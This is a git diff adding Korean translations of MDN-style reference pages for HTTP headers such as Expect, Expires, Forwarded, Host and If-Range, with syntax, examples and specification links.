+<p>일반적인 브라우저는 <code>Expect</code> 헤더를 전송하지 않지만, cURL과 같은 몇가지 클라이언트들은 전송하는 것이 기본값입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>현재는 "100-continue" 를 제외하고 어떤 기대값도 정의되어있지 않습니다.</p>
+
+<pre class="syntaxbox">Expect: 100-continue
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>100-continue</dt>
+ <dd>Informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a {{HTTPStatus("100")}} (Continue) interim response.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Large_message_body">Large message body</h3>
+
+<p>클라이언트는 <code>Expect</code> 헤더가 포함된 요청을 전송하고 메시지 바디를 전송하기 이전에 서버의 응답을 기다립니다.</p>
+
+<pre>PUT /somewhere/fun HTTP/1.1
+Host: origin.example.com
+Content-Type: video/h264
+Content-Length: 1234567890987
+Expect: 100-continue</pre>
+
+<p>이제 서버는 요청 헤더를 확인하고 {HTTPStatus("100")}} (Continue) 상태를 응답하여 클라이언트가 계속해서 메시지 바디를 전송하도록 안내하거나, {{HTTPStatus("417")}} (Expectation Failed) 상태를 응답하여 어떠한 기대값도 충족되지 않도록 합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Expect", "5.1.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>No common browsers are known to send this header.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("417")}}<code> Expectation Failed</code></li>
+ <li>{{HTTPStatus("100")}}<code> Continue</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/expires/index.html b/files/ko/web/http/headers/expires/index.html
new file mode 100644
index 0000000000..35042ff710
--- /dev/null
+++ b/files/ko/web/http/headers/expires/index.html
@@ -0,0 +1,75 @@
+---
+title: Expires
+slug: Web/HTTP/Headers/Expires
+translation_of: Web/HTTP/Headers/Expires
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Expires</strong></code> 헤더는 응답이 더 이상 신선하지 않다고 판단할 날짜/시간을 포함합니다.</p>
+
+<p>0과 같은, 유효하지 않은 날짜는 과거의 시간을 나타내어 리소스가 이미 만료되었음을 의미합니다.</p>
+
+<p>응답 내에 "max-age" 혹은 "s-max-age" 디렉티브를 지닌 {{HTTPHeader("Cache-Control")}} 헤더가 존재할 경우, <code>Expires</code> 헤더는 무시됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Expires: &lt;http-date&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>
+ <p>HTTP-date timestamp.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234", "Expires", "5.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/forwarded/index.html b/files/ko/web/http/headers/forwarded/index.html
new file mode 100644
index 0000000000..5355bf1c0e
--- /dev/null
+++ b/files/ko/web/http/headers/forwarded/index.html
@@ -0,0 +1,110 @@
+---
+title: Forwarded
+slug: Web/HTTP/Headers/Forwarded
+tags:
+ - HTTP
+ - HTTP 헤더
+ - 요청 헤더
+ - 참고자료
+ - 헤더
+translation_of: Web/HTTP/Headers/Forwarded
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Forwarded</strong></code> 헤더는 클라이언트에서 접하고 있는 프록시 서버들이 요청에 대한 연결에 연관되어 있는 상황에서 해당 연결이 변경되거나 잃어버리게 되었을 때, 해당되는 정보를 가지고 있습니다.</p>
+
+<p>이 헤더를 대체하는 실질적인 표준 버전은 {{HTTPHeader("X-Forwarded-For")}}, {{HTTPHeader("X-Forwarded-Host")}}, 그리고 {{HTTPHeader("X-Forwarded-Proto")}} 입니다.</p>
+
+<p>이 헤더는 디버깅, 통계, 그리고 위치 기반 컨텐츠에서 사용되며 클라이언트의 IP 주소와 같은 민감한 개인 정보를 노출하도록 디자인 되었습니다. 따라서 이 헤더를 사용할 경우에는 사용자의 정보를 노출시키지 않도록 반드시 주의해야합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Forwarded: by=&lt;identifier&gt;; for=&lt;identifier&gt;; host=&lt;host&gt;; proto=&lt;http|https&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;identifier&gt;</dt>
+ <dd>식별자는 프록시를 사용할 때, 대체되거나 잃어버린 정보를 밝힙니다. 이것은 다음과 같을 수 있습니다:
+ <ul>
+ <li>IP 주소(v4 또는 v6, 추가로 포트, 그리고 IPv6는 따옴표와 대괄호로 쌓여있습니다),</li>
+ <li>애매한 식별자(예를 들면, "_hidden" 또는 "_secret"),</li>
+ <li>또는 알 수 없는 개체를 진행하고자 했을 때 (그리고 당신이 계속 만들어진 요청이 전달되기를 원한다고 알려줄 때) "unknown"  or "unknown".</li>
+ </ul>
+ </dd>
+ <dt>by=&lt;identifier&gt;</dt>
+ <dd>요청이 프록시 서버에 들어왔을 때의 인터페이스.</dd>
+ <dt>for=&lt;identifier&gt;</dt>
+ <dd>요청을 시작한 클라이언트와 프록시 체인에서 뒤이은 프록시.</dd>
+ <dt>host=&lt;host&gt;</dt>
+ <dd>{{HTTPHeader("Host")}} 요청 헤더 영역은 프록시에게서 받는다.</dd>
+ <dt>proto=&lt;http|https&gt;</dt>
+ <dd>
+ <p>요청을 만들기 위해서 어떠한 프로토콜(보통 "http" 또는 "https")이 사용되었는지 알려준다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Forwarded_헤더_사용"><code>Forwarded</code> 헤더 사용</h3>
+
+<pre>Forwarded: for="_mdn"
+
+# case insensitive
+Forwarded: For="[2001:db8:cafe::17]:4711"
+
+# separated by semicolon
+Forwarded: for=192.0.2.60; proto=http; by=203.0.113.43
+
+# multiple values can be appended using a comma
+Forwarded: for=192.0.2.43, for=198.51.100.17
+</pre>
+
+<h3 id="X-Forwarded-For_에서_Forwarded_로의_전환"><code>X-Forwarded-For</code> 에서 <code>Forwarded</code> 로의 전환</h3>
+
+<p>만약 어플리케이션(서버 또는 프록시)이 표준화된 <code>Forwared</code> 헤더를 지원한다면, {{HTTPHeader("X-Forwarded-For")}} 헤더는 대체될 수 있습니다. IPv6 주소는 <code>Forwarded</code>에서 따옴표와 대괄호로 감싸질 수 있다는 것을 알아두세요.</p>
+
+<pre>X-Forwarded-For: 123.34.567.89
+Forwarded: for=123.34.567.89
+
+X-Forwarded-For: 192.0.2.43, 2001:db8:cafe::17
+Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]"
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7239", "Forwarded", "4")}}</td>
+ <td>Forwarded HTTP Extension</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}} – provides information about the proxy itself, not about the client connecting to it.</li>
+</ul>
diff --git a/files/ko/web/http/headers/from/index.html b/files/ko/web/http/headers/from/index.html
new file mode 100644
index 0000000000..cdf796ed4b
--- /dev/null
+++ b/files/ko/web/http/headers/from/index.html
@@ -0,0 +1,70 @@
+---
+title: From
+slug: Web/HTTP/Headers/From
+translation_of: Web/HTTP/Headers/From
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>From</strong></code> 요청 헤더는 요청한 사용자 에이전트를 제어하는 인간 사용자의 인터넷 이메일을 포함합니다.</p>
+
+<p>만약 당신이 (예를 들어 크롤러와 같은) 로보틱 사용자 에이전트를 실행하고 있다면,  <code>From</code> 헤더를 반드시 전송해야 하며, 로봇이 한도를 초과하거나 원하지 않으며, 유효하지 않은 요청을 전송하고 있는 경우처럼 서버 상에 문제를 일으키고 있다면 당신에게 해당 이메일로 연락이 가능해야 합니다.</p>
+
+<div class="warning">
+<p>접근 제어 혹은 인증을 위해 <code>From</code> 헤더를 사용해서는 안됩니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">From: &lt;email&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;email&gt;</dt>
+ <dd>기계가 사용 가능한 이메일 주소.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>From: webmaster@example.org</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "From", "5.5.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/host/index.html b/files/ko/web/http/headers/host/index.html
new file mode 100644
index 0000000000..321ec35f49
--- /dev/null
+++ b/files/ko/web/http/headers/host/index.html
@@ -0,0 +1,70 @@
+---
+title: Host
+slug: Web/HTTP/Headers/Host
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Host</strong></code> 요청 헤더는 (가상 호스팅을 위해) 서버의 도메인명과 서버가 리스닝하는 (부가적인) TCP 포트를 특정합니다.</p>
+
+<p>포트가 주어지지 않으면, 요청된 서버의 기본 포트(예를 들어, HTTP URL은 "80")를 의미합니다.</p>
+
+<p><code>Host</code> 헤더의 필드는 모든 HTTP/1.1 요청 메시지 내에 포함되어 전송되어야 합니다. <code>Host</code> 헤더 필드가 없거나 한 개 이상의 필드를 포함하는 HTTP/1.1 요청 메시지에 대해서는 {{HTTPStatus("400")}} (Bad Request) 상태 코드가 전송될 것입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;port&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>(가상 호스팅에 대한) 서버의 도메인 이름.</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>서버가 리스닝하는 TCP 포트 번호.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Host", "5.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/if-modified-since/index.html b/files/ko/web/http/headers/if-modified-since/index.html
new file mode 100644
index 0000000000..59f68cd2e8
--- /dev/null
+++ b/files/ko/web/http/headers/if-modified-since/index.html
@@ -0,0 +1,91 @@
+---
+title: If-Modified-Since
+slug: Web/HTTP/Headers/If-Modified-Since
+translation_of: Web/HTTP/Headers/If-Modified-Since
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>If-Modified-Since</code></strong> HTTP 요청 헤더는 조건부 요청으로 서버는 <span class="tlid-translation translation" lang="ko"><span title="">지정된 날짜 이후 수정 된 경우에 </span></span>{{HTTPStatus("200")}}  과 함께 요청된 리소스를 돌려 줍니다. 만약 수정되지 않는 리소스에 대한 요청시, 리소스 없이 {{HTTPStatus("304")}}  응답을 하게 됩니다.<span class="tlid-translation translation" lang="ko"><span title=""> 이전 요청의 {{HTTPHeader ( "Last-Modified")}} 응답 헤더는 마지막으로 수정 한 날짜를 포함합니다.</span></span><code>If-Modified-Since</code><span class="tlid-translation translation" lang="ko"><span title="">는 </span></span>{{HTTPHeader("If-Unmodified-Since")}} 와는 다르게 {{HTTPMethod("GET")}} 또는 {{HTTPMethod("HEAD")}} 에서만 쓸수 있습니다.</p>
+
+<p><span class="tlid-translation translation" lang="ko"><span title="">서버가 </span></span><code>If-None-Match</code><span class="tlid-translation translation" lang="ko"><span title="">를 지원하지 않는 한</span></span> {{HTTPHeader("If-None-Match")}} 를 함께 사용시 무시 됩니다.</p>
+
+<p>가장 일반적인 사용예로, {{HTTPHeader("ETag")}} 가 없는 캐시된 엔티티로 업데이트 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">If-Modified-Since: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 숫자의 분, 예: "04" 또는 "59.</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 숫자의 초, 예: "04" 또는 "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 digit second number, e.g. "04" or "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>그리니치 표준시. HTTP 날짜는 현지 시각이 아닌, 언제나 GMT로 표현합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.If-Modified-Since")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/if-range/index.html b/files/ko/web/http/headers/if-range/index.html
new file mode 100644
index 0000000000..12410e90bd
--- /dev/null
+++ b/files/ko/web/http/headers/if-range/index.html
@@ -0,0 +1,104 @@
+---
+title: If-Range
+slug: Web/HTTP/Headers/If-Range
+tags:
+ - HTTP
+ - HTTP 헤더
+ - 범위 요청
+ - 요청 헤더
+ - 조건 요청
+ - 참고자료
+translation_of: Web/HTTP/Headers/If-Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>If-Range</code></strong> HTTP 요청 헤더는 범위 요청을 조건적으로 만듭니다: 만약 조건이 만족된다면, 범위 요청은 처리되어 서버에서 {{HTTPStatus("206")}} <code>Partial Content</code> 응답을 적절한 바디를 포함하여 보낼 것입니다. 만약 조건을 만족하지 못한다면, {{HTTPStatus("200")}} <code>OK</code> 상태 코드가 전체 리소스와 함께 돌아올 것입니다.</p>
+
+<p>이 헤더는 {{HTTPHeader("Last-Modified")}} 유효 검사자, 또는 {{HTTPHeader("ETag")}}와도 함께 사용될 수 있지만, 동시에는 사용할 수 없습니다.</p>
+
+<p>가장 많은 사용 예로 다운로드를 재개할 때, 저장된 리소스가 마지막 조각을 다운받은 후 수정되었는지 확인하기 위하여 사용합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">If-Range: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+If-Range: &lt;etag&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;etag&gt;</dt>
+ <dd>개체 태그는 요청한 리소스가 유일한 것을 표현합니다. 이는 ASCII 문자열로 쌍따옴표(<code>"675af34563dc-tr34"</code>처럼)로 묶여있으며, 접두사로 <code>W/</code>가 있어 약한 비교 알고리즘을 사용되어야 하는 것을 알려줄 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중에 하나(대소문자 구별) .</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구별).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 숫자의 시간, 예: "09" 또는 "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 숫자의 분, 예: "04" 또는 "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 숫자의 초, 예: "04" 또는 "59.</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>그리니치 표준시. HTTP 날짜는 지역 시각이 아닌, 언제나 GMT로 표현합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "If-Range", "3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.If-Range")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("Last-Modified")}}</li>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("206")}}<code> Partial Content</code></li>
+ <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">HTTP Conditional Requests</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/index.html b/files/ko/web/http/headers/index.html
new file mode 100644
index 0000000000..56460bc685
--- /dev/null
+++ b/files/ko/web/http/headers/index.html
@@ -0,0 +1,444 @@
+---
+title: HTTP 헤더
+slug: Web/HTTP/Headers
+tags:
+ - HTTP
+ - HTTP 헤더
+ - 개요
+ - 네트워킹
+ - 레퍼런스
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP 헤더는 클라이언트와 서버가 요청 또는 응답으로 부가적인 정보를 전송할 수 있도록 해줍니다. HTTP 헤더는 대소문자를 구분하지 않는 이름과 콜론 '<code>:</code>' 다음에 오는 값(줄 바꿈 없이)으로 이루어져있습니다. 값 앞에 붙은 빈 문자열은 무시됩니다.</p>
+
+<p>커스텀 등록 헤더는 'X-'를 앞에 붙여 추가될 수 있지만, 이 관례는 <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>에서 비표준 필드가 표준이 되었을때 불편함을 유발하는 이유로 2012년 6월에 폐기되었습니다. 다른것들은 <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA 레지스트리</a>에 나열되어 있으며, 원본 컨텐츠는 <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>에서 정의되었습니다. IANA는 또한 <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">제안된 새로운 메시지 헤더의 레지스트리</a>도 관리합니다.</p>
+
+<p>헤더는 컨텍스트에 따라 그룹핑될 수 있습니다:</p>
+
+<ul>
+ <li>{{Glossary("General header")}}: 요청과 응답 모두에 적용되지만 바디에서 최종적으로 전송되는 데이터와는 관련이 없는 헤더.</li>
+ <li>{{Glossary("Request header")}}: 페치될 리소스나 클라이언트 자체에 대한 자세한 정보를 포함하는 헤더.</li>
+ <li>{{Glossary("Response header")}}: 위치 또는 서버 자체에 대한 정보(이름, 버전 등)와 같이 응답에 대한 부가적인 정보를 갖는 헤더.</li>
+ <li>{{Glossary("Entity header")}}: 컨텐츠 길이나 MIME 타입과 같이 엔티티 바디에 대한 자세한 정보를 포함하는 헤더.</li>
+</ul>
+
+<p>헤더는 또한 프록시의 처리 방법에 따라 그룹핑할 수도 있습니다:</p>
+
+<dl>
+ <dt><a id="e2e" name="e2e"></a>종단간 헤더</dt>
+ <dd>이러한 헤더는 반드시 메시지의 최종 수신자에게 전송되어야 합니다. 즉, 요청에 대해서는 서버, 응답에 대해서는 클라이언트입니다. 중간 프록시는 반드시 종단 간 헤더를 수정되지 않은 상태로 재전송해야하며 캐시는 이를 반드시 저장해야합니다.</dd>
+ <dt><a id="hbh" name="hbh"></a>홉간 헤더</dt>
+ <dd>이러한 헤더는 단일 전송-레벨 연결에서만 의미가 있으며 프록시에의해 재전송되거나 캐시되어선 안됩니다. 이러한 헤더들은 다음과 같습니다: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }}, {{ httpheader("Upgrade") }}. 홉간 헤더는 {{ httpheader("Connection") }} 일반 헤더를 사용해 설정될 수도 있음을 유의하세요.</dd>
+</dl>
+
+<p>다음은 사용 카테고리에 따라 HTTP 헤더를 요약한 리스트입니다. 알파벳순의 리스트는 왼쪽의 네비게이션을 보세요.</p>
+
+<h2 id="인증">인증</h2>
+
+<dl>
+ <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+ <dd>리소스에 대한 접근을 하는데 사용되어야하는 인증 메소드를 정의합니다.</dd>
+ <dt>{{HTTPHeader("Authorization")}}</dt>
+ <dd>서버와함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.</dd>
+ <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+ <dd>프록시 서버 뒤에 있는 리소스에 접근하는데 사용되어야하는 인증 메소드를 정의합니다.</dd>
+ <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+ <dd>프록시 서버와 함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.</dd>
+</dl>
+
+<h2 id="캐싱">캐싱</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Age")}}</dt>
+ <dd>객체가 프록시 캐시에 있었던 초 단위의 시간.</dd>
+ <dt>{{HTTPHeader("Cache-Control")}}</dt>
+ <dd>요청과 응답 모두에서의 캐싱 메커니즘을 명시하는 지시문.</dd>
+ <dt>{{HTTPHeader("Clear-Site-Data")}}</dt>
+ <dd>요청하는 웹사이트에 관련된 탐색 데이터(예, 쿠키, 저장소, 캐시)를 제거합니다.</dd>
+ <dt>{{HTTPHeader("Expires")}}</dt>
+ <dd>응답이 만료되었다고 고려되는 날짜/시간.</dd>
+ <dt>{{HTTPHeader("Pragma")}}</dt>
+ <dd>요청-응답 체인을 따라 어디든 다양한 영향을 줄 수 있는 구현-관련 헤더. <code>Cache-Control</code> 헤더가 존재하지 않는 HTTP/1.0 캐시와의 하위 호환성을 위해 사용됨.</dd>
+ <dt>{{HTTPHeader("Warning")}}</dt>
+ <dd>가능한 문제들에 대한 정보를 포함하는 일반 경고 필드.</dd>
+</dl>
+
+<h2 id="클라이언트_힌트">클라이언트 힌트</h2>
+
+<p>HTTP 클라이언트 힌트는 작업중에 있습니다. 실제 문서는 <a href="https://httpwg.org/http-extensions/client-hints.html">HTTP 작업 그룹의 웹사이트</a>에서 확인하실 수 있습니다.</p>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH")}} {{experimental_inline}}</dt>
+ <dd>서버는 Accept-CH 헤더 필드나 http-equiv 어트리뷰트(<a href="https://httpwg.org/http-extensions/client-hints.html#HTML5"><cite>[HTML5]</cite></a>)를 갖는 동등한 HTML meta 엘리먼트를 사용해 클라이언트 힌트에 대한 지원을 알릴 수 있습니다.</dd>
